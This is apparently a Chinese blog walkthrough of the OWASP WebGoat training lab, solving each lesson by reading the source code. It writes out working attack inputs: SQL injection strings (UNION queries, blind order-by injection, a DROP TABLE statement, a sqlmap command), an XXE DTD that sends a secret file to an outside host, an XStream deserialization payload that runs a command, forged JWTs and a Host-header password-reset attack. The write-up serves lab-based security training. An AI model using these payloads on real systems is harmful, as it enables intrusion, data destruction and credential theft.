第一关,定位请求接口。

定位代码位置。
分析处理逻辑,我们这里的目的是通过劫持已登录用户的会话,所以我们当前是没有登录状态的。
重点在于代码:
authentication = provider.authenticate(Authentication.builder().id(cookieValue).build());//认证通过就过关if (authentication.isAuthenticated()) {return success(this).build();}Authentication.builder().id(cookieValue).build()中cookieValue未认证用户不存在hijack_cookie,因此该代码创建了一个Authentication实例并未初始化任何值。定位类HijackSessionAuthenticationProvider的authenticate方法。
重点分析如下代码即可。
private Queue<String> sessions = new LinkedList<>(); private static long id = new Random().nextLong() & Long.MAX_VALUE; protected static final int MAX_SESSIONS = 50; private static final DoublePredicate PROBABILITY_DOUBLE_PREDICATE = pr -> pr < 0.75; private static final Supplier<String> GENERATE_SESSION_ID = () -> ++id + "-" + Instant.now().toEpochMilli(); public static final Supplier<Authentication> AUTHENTICATION_SUPPLIER = () -> Authentication.builder().id(GENERATE_SESSION_ID.get()).build(); protected void authorizedUserAutoLogin() {if (!PROBABILITY_DOUBLE_PREDICATE.test(ThreadLocalRandom.current().nextDouble())) { Authentication authentication = AUTHENTICATION_SUPPLIER.get(); authentication.setAuthenticated(true); addSession(authentication.getId()); } }
因此我们构造一个脚本,每次发送一个请求后遍历该请求附件的几个id以命中有效会话,为了避免本文过长,本文涉及的脚本内容文末一起奉上,结果如下。

第一关,输入tom和cat直接过。
第二关,题目说列出服务器响应中存在但在配置文件中未显示的两个属性。
对比一看代码中多了userId和role,提交过关。
第三关,定位接口,检索代码。
拼接请求路径即可,但是你会发现需要userId,还记得第二关的userId吗?在burp构造请求获取即可。
拼接WebGoat/IDOR/profile/2342384通过。
第四关,存在两个问题,分别解决。
题目让我们查看别人的资料,这里从代码可知,这个别人应该就是2342388,当然如果作为黑盒测试您一定会枚举对吧。
第二小题让我们编辑其他用户的配置文件,这往往涉及到不同的请求方法,定位接口。
同时你会发现你检索IDOR/profile/{userId}似乎没有什么有用的信息,不过题目要求你修改别人的信息这个userId此时应该是一个具体的值,会不会就是2342388呢?让我们检索一下。
好吧,你很聪明,你发现了它,让我们构造对应的请求完成题目。当然请注意Content-Type: application/json的设置,不要被这小错误而困扰。
第一关,题目让我们找一些隐藏的东西,不过我们不管直接,整代码(狗头)。


Jerry账户的哈希值。




Jerry的hash是如何生成的。
Jerry的User信息,然后使用User信息和盐值构造DisplayUser对象,盐值如下。
hash值由用户名、密码、自定义盐值拿到。目前我们已经拥有了用户名和盐值,但是从代码中无法拿到密码,因此自己直接通过代码生成该hash不可取。




Jerry的hash,注意你创建的管理员的账号必须和你当前登录的账号名称一致,否则你无法利用该会话。

定位请求接口,检索代码,分析逻辑。



依照代码算法,我们可以得到如下示例,其中xxx代表随机字符串,只要开头以tom开头即可,这是由代码decoded.substring(0, decoded.length() - SALT.length())得出。同时根据代码private static final String SALT = RandomStringUtils.randomAlphabetic(10);得出随机字符串长度为10。
tomxxxxxxxxxx->xxxxxxxxxxmot->787878787878787878786d6f74->Nzg3ODc4Nzg3ODc4Nzg3ODc4Nzg2ZDZmNzQ=则tom的cookievalue值应该为Nzg3ODc4Nzg3ODc4Nzg3ODc4Nzg2ZDZmNzQ=。

第一关,base64解码 c2hpeXVlOnBhc3N3b3Jk解码得到shiyue:password过关。 第二关,定位接口,检索代码。



第三关,定位接口,分析代码。



同时secret变量来自于如下代码。
public static final String[] SECRETS = {"secret", "admin", "password", "123456", "passw0rd"};因此题目中的hash均来自于这个列表,手动试一试即可。

第二关,根据给定的私钥计算公钥的模数和模数的签名。


这里似乎没什么可直接得到的,老老实实计算。
┌──(shiyue㉿kali)-[~/Desktop]└─$ openssl rsa -in private.pem -modulus -noout | sed 's/Modulus=//'83C3385487173B1516A983E7A0EA715850B111798316C243F24FC0E7B95581885A0EF119AD61C2628BAD20E52B8BC0424CDB4D7AB76B557C5710322420191A91643149125C8F494B7177B01BD9AD46A2C727D7FCF0FF13E8AE2501D44FCA9F43EBB8B413B6425BC872A5C31F7833EAAB1F65FD0E25771481CE797D5343854F9C20FC7F30D132BA09A2D80812E7716407FA50823694FF0491CDAEBFA99FBAF72F2AB729FDE3A6A812E1A5E26DDE2FDD1137F2FCB1DA0D4C60FAC3327DF81DBB53CAD662DF46CCEE4299DFCCE3D17A2D59DAD75636A325743F00DD7B04F615F1209AF1A3F64689FD4F2486ED51BEE494B11D1A55A91AB6CAF619957DE653A1A0BF┌──(shiyue㉿kali)-[~/Desktop]└─$ openssl rsa -in private.pem -modulus -noout | sed 's/Modulus=//' | tr -d '\n' | openssl dgst -sha256 -sign private.pem | base64 -w 0S9hg/iHaqg206/iH3RG/PeLHBVI5/nUkOWJAYwl2CKCfVogrV3sGJo07Fs6ewMoalM/tNR1otK+Nwp7ntWm0zCXBOQUZvYADRxwC4ubdNNSYmXyWOgN/qfn58eKRhvBdkp6vLq9jNpI1Rd8aj7NEV9C6MOAH+X9OFUJ3zO9GBQNZfzV4RXAuzkebNAlQfMKx9jLuZQMtGeT60BIF6TDrUTbGCSCLZbcoVooxHsHWHsn82OrtxIR7NOJrCmGYUXLQCnsnBlbhLWGnHrZr0NFvAjn0kyWu1+DUhso8T6gY80DpvG/8ytGSAPEf1Kl06z5c0rqPMRiolvkTK0ZBOJBerw== 
第三关,定位接口,并检索代码。



解码text提交结果。

第一关,定位接口,分析代码。



第二关,定位接口,分析代码发现主要更新Barnett的部门为Sales即可过关。



第三关,定位接口,分析代码发现如果员工表中存在phone这一列则过关,所以添加一列即可。



第四关,定位接口,分析代码发现需要给unauthorized_user用户授予grant_rights 表的查询权限。



第五关,定位接口,分析代码发现直接拼接用户输入的sql语句,当用户输入的查询结果超过6行时通关。



第六关,定位接口,分析代码发现虽然login_count用了PreparedStatement(安全),但accountName没有用?占位符,而是直接拼进去,所以仍然是注入点。



第七关,定位接口,分析代码发现直接拼接sql语句导致注入。



第八关,定位接口,分析代码发现存在sql注入,并且只需要将John Smith的薪水设置的比当前最高薪资还高时即可过关,参考语句3SL99A'; UPDATE employees SET salary=84700 WHERE last_name='Smith'; --



第九关,定位接口,分析代码发现存在sql注入,需要使得查询结果为空的同时删除access_log表即可通关,参考语句'; DROP TABLE access_log; --。



第一关,定位接口,分析代码。



既然代码要求输出包含指定内容output.toString().contains("dave") && output.toString().contains("passW0rD")那么我们直接输入。

正规途径还是通过sql注入获取指定内容,虽然代码检测了union但是并未作为黑名单拒绝,仅仅只是构建了消息内容,因此我们完全可以通过联合查询获取指定的内容以通关。

构建联合查询通过该关卡-1' UNION SELECT userid, user_name, password, cookie, NULL, NULL, NULL FROM user_system_data -- 。

自然你也能从联合查询获取的内容得到密码过关。

第二关,定位接口,分析代码。

直接在代码文件中找到tom的密码,取巧过关。


老老实实分析下代码。

我们发现登录接口写法合规不存在sql注入漏洞,切换注册接口。


通过代码分析,注册接口在检查注册的用户名是否已经存在时存在sql注入漏洞,因此我们通过该漏洞获取tom的密码,同时这是一个经典的布尔盲注。


这里就不手动注入了,直接使用sqlmap获取结果,命令python sqlmap.py -r 1.txt --dbms=HSQLDB --technique=B --string="already exists" --sql-query="SELECT password FROM sql_challenge_users WHERE userid='tom'"结果如下。

第一关,题目这里是希望你编写正确的参数化查询方式,但是我们直接定位接口,分析代码过关。



第二关,定位接口,分析代码发现题目让我们提交一段包含数据库操作的预编译代码,只要编译通过即可过关。



这一步你可以借助ai完成代码。

第三关,搜索路由不存在,代码中不存在该接口。


直接检索参数userid_sql_only_input_validation定位真实的接口,这里可能是靶场前端编写有误。


通过分析代码可知,唯一的过滤式不能存在空格,输入语句Smith';SELECT/**/*/**/from/**/user_system_data;--通关,当然修改下接口地址。

第四关,前端依旧那个接口地址。

通过参数检索定位后端处理接口。

简单的过滤双写即可绕过,输入语句Smith';SELselectECT/**/*/**/frfromom/**/user_system_data;--,不过依然需要修改下接口地址。

第五关,定位接口,检索代码,发现提交接口不存在注入风险。


分析排序接口。


检索分析代码发现存在order by的sql注入。

针对order by注入,我们这里使用case when的方式进行布尔盲注获取id地址,给出语句(CASE+WHEN+(SUBSTRING((SELECT+ip+FROM+servers+WHERE+hostname='webgoat-prd'),1,1)='1')+THEN+id+ELSE+hostname+END)。

当然我们也可以投机取巧直接搜索代码拿到。

第一关,定位接口,分析代码发现filed1存在xss回显,并且需要命中指定的标签才可通关。



第二关,定位接口,分析代码构造start.mvc#test输入过关。



第三关,定位接口,分析代码需要提交会话中randValue的值才能过关,根据注释提示,访问指定接口获取该值。




第一关,定位接口,分析代码,发现还是需要拿到会话中randValue的值才能通过。


通过分析其他接口发现存在存储型xss。


通过存储型xss调用webgoat.customjs.phoneHome()即可拿到该值。

第一关,定位接口,分析代码,发现需要构建特定的html文档内容才能通过。



第二关,定位接口,分析代码,依旧是需要构造特定安全代码文本才能通过。



第一关,定位接口,分析代码发现服务端将文件内容保存到指定位置,但是未过滤路径名导致存在目录穿越的风险。



第二关,定位接口分析代码发现,将../替换为空,因此双写即可绕过。



第三关,定位接口,分析代码发现使用图片的filename作为文件保存位置且未做任何检查导致存在路径穿越的风险。



第四关,定位接口,分析代码发现用户当前登录用户的sha512即可过关。



第五关,定位接口,分析代码,未检测压缩包中项目的名称导致目录穿越。




第一关,定位接口,分析代码发现只要修改referer或者删除都可以拿到flag。






第二关,定位接口,分析代码发现删除referer即可过关。



第三关,定位接口,分析代码发现需要先获得flag才能过关,需要提交评论并且content-type包含text/plain,referer为空才能过关。






第四关,定位接口,分析代码,发现需要当前用户名称以csrf开头才能过关,但是当前用户是shiyue,如何做了?只需要先注册一个csrf-shiyue的账户,然后在保持当前页面不动的前提下登录新账户,由于登录了新账户已经切换了会话,因此当你再次点击原来的按钮时将以csrf-shiyue的会话过关。用户以为操作的是自己的账户,但是殊不知当前的会话已经悄悄切换为攻击者的账户,攻击者将能够实时监控用户的操作。



第一关,定位接口,分析代码,发现只需要输入包含指定目录路径即可过关。



第二关,定位接口,分析代码发现,需要构造特定的xml文档格式才能过关。




第三关,定位接口,分析代码发现需要使用xxe外带用户秘密才能通过。


构造dtd,注意特殊字符导致的问题,开启一个服务器。
<!ENTITY % file SYSTEM "file:///C:/Users/31435/.webgoat-2025.3/XXE/shiyue/secret.txt"><!ENTITY % all "<!ENTITY % send SYSTEM 'http://10.161.73.89:8001/?%file;'>">%all;%send;构建burp请求出发xxe外带。



第一关,题目提醒使用docker构建才能成功过关,但是我这里采用的jar执行的方式,所以正常来说题目环境无法执行,但我们添加一些参数避免使用docker。
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.base/java.util.concurrent=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED --add-opens java.desktop/java.awt=ALL-UNNAMED --add-opens java.desktop/java.beans=ALL-UNNAMED -jar webgoat-2025.3.jar --server.address=0.0.0.0好了,环境没问题让我们定位接口,分析代码。


根据代码逻辑发现这个漏洞的核心可以利用XStream对动态代理的反序列化机制,配合java.beans.EventHandler作为方法调用拦截器,将一次看似无害的接口方法调用getFirstName()重定向到系统命令执行ProcessBuilder.start()。在XML反序列化阶段,<contact class='dynamic-proxy'>指示XStream创建一个实现了Contact接口的动态代理对象。<handler class='java.beans.EventHandler'> 及其内部的<target>、<command>、标签则完整地构建了一个EventHandler实例,其中target是一个封装了恶意命令的ProcessBuilder对象,action指定了要调用的方法名"start"。当服务器代码随后调用contact.getFirstName()时,该调用被代理拦截并转发为ProcessBuilder.start()的执行,从而导致远程代码执行,并因代理对象并非ContactImpl实例而成功绕过类型检查,达成通关条件,构造payload如下。
<contact class='dynamic-proxy'><interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface><handler class='java.beans.EventHandler'><target class='java.lang.ProcessBuilder'><command><string>calc.exe</string></command></target>start</handler></contact>即可通关。


第一关,定位接口,分析代码。



我们发现想要通关,只能使得请求不包含secQuestion0和secQuestion1即可。

第一关,定位接口分析代码,发现硬编码账户密码。



第一关,定位接口分析代码,发现硬编码账户。



第二关,定位接口分析代码,发现只需要删除jwt第三段,并设置admin为true即可过关。



第三关,定位接口,分析题目给的代码,重新构造指定用户的jwt即可过关。



第四关,定位接口,分析代码可知,未使用parseClaimJws函数存在签名严重缺陷,同时只需要将jwt中body部分的user修改为Tom即可过关。



第五关,定位接口,分析代码发现可以自己指定jku让服务器使用自己的公钥来进行jwt效验,因此自己制作一个jwt以及jwks.json文件即可过关,生成脚本文末一起提供。



第六关,定位接口,分析代码,发现通过数据库查询kid获取对应的公钥,并且存在sql注入,因此只需要通过sql注入使得返回攻击者指定的公钥即可,参考jwt如下。
eyJhbGciOiJIUzI1NiIsImtpZCI6Ii0xJyBVTklPTiBTRUxFQ1QgJ2MyVmpjbVYwJyBGUk9NIElORk9STUFUSU9OX1NDSEVNQS5TWVNURU1fVVNFUlMgLS0gIiwidHlwIjoiSldUIn0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE3NzU5MTI3NTUsImV4cCI6MTc3NTkxNjM1NSwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.jyNXyj7j9yzgPAHblRH5u0QC9I0F5dcBTcFAu-G7wHI


第一关,定位接口,分析代码,发现密码就是用户名的镜像。



第二关,定位接口,分析代码,发现代码中硬编码着用户安全问题的答案。



第三关,定位接口,分析代码,发现需要通过host注入使得服务端将tom的密码重置链接发送到攻击者的服务器,然后攻击者通过手动重置tom的密码即可过关。




此处建议使用127.0.0.1以及curl工具来访问以避免环境错误,使用如下命令发送tom的重置链接。
curl -v -X POST "http://127.0.0.1:8080/WebGoat/PasswordReset/ForgotPassword/create-password-reset-link" -H "Host: 127.0.0.1:9090" -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -H "Cookie: JSESSIONID=BDC47880BB22F9FDD08947CB057CC3C4" -d "email=tom@webgoat-cloud.org"此时将接受到get 请求记录拿到重置地址。




第一关,定位接口,分析代码,输入强密码即可过关。



第一关,定位接口,分析代码,发现需要构造一个VulnerableTaskHolder的序列化对象使得服务器延迟3-7描述之前即可过关,VulnerableTaskHolder对象既可以从源代码中获取也可以从题目中获得。




第一关,定位接口,分析代码发现构造特定的用户名称即可过关。



第二关,定位接口,分析代码发现服务器的应用日志泄露了密码。




第一关,定位接口,分析代码发现,将url指向jerry的图片将过关。



第二关,定位接口,分析代码发现,将url指向http://ifconfig.pro即可过关。



第一关,定位接口,分析代码,发现当前端提交的参数完全不匹配时过关。


抓包修改往往是最直接的,对吧。

修改为任意值,或者直接置空都可以。
第二关,定位接口,分析代码,发现只要所有的正则都不匹配即可过关。



第一关,定位接口,分析代码,发现输入450000即可过关。


但是如何正常获得该数值了?分析前端。

前端可以选择多个用户的信息,但是没有目标所需,我们定位js代码,进一步分析。



第二关,定位接口,分析代码,发现输入get_it_for_free即可过关。


但是如何得到该值了?分析前端代码。

分析js代码发现,存在通过折扣码获取折扣的请求接口,当每次输入折扣码时会自动发起该接口的请求。

定位服务端该接口,分析代码发现通过接口/WebGoat/clientSideFiltering/challenge-store/coupons可以获取所有的折扣码,包括过关的折扣码。



第一关,定位接口,分析代码发现修改总价为0过关。



第一关,定位接口,分析代码,发现管理员用户的密码由指定模板加四位动态的PINCODE组成,同时PINCODE藏在logo的指定位置,因此通过构造脚本获取密码进而获取flag,本文涉及的脚本均放置在文章末尾。






第一关,定位接口,分析代码发现用户名和密码均直接拼接存在sql注入,但是用户名被指定无法修改,因此考虑针对密码字段进行sql注入。




第一关,定位接口,分析代码发现服务端根据用户提交的邮箱名称构建密码重置链接,并将重置链接通过用户名对应的邮箱发送,我们无法将管理员的密码重置链接发送到我们的邮箱,host头注入在这里无效。


当通过代码分析,发现存在.git泄露,因此获取该文件,并检查文件内容,成功获得密码重置链接的uuid获取方式。



这里直接使用ai基于Python复现该算法,脚本文章末尾一起奉上。

密码重置地址参考使用自己用户名收到的邮件中的地址,拼接管理员uuid访问即可获取flag。


第一关,定位接口。


获取到服务端的接口地址后,分析代码,发现只要不以GET请求访问即可获得flag。




公众号回复webgoat即可获取。
ok到此为止,我们完成了整个webgoat靶场的审计教程,真是一场“酣畅淋漓”的战斗呢,有缘下次再见。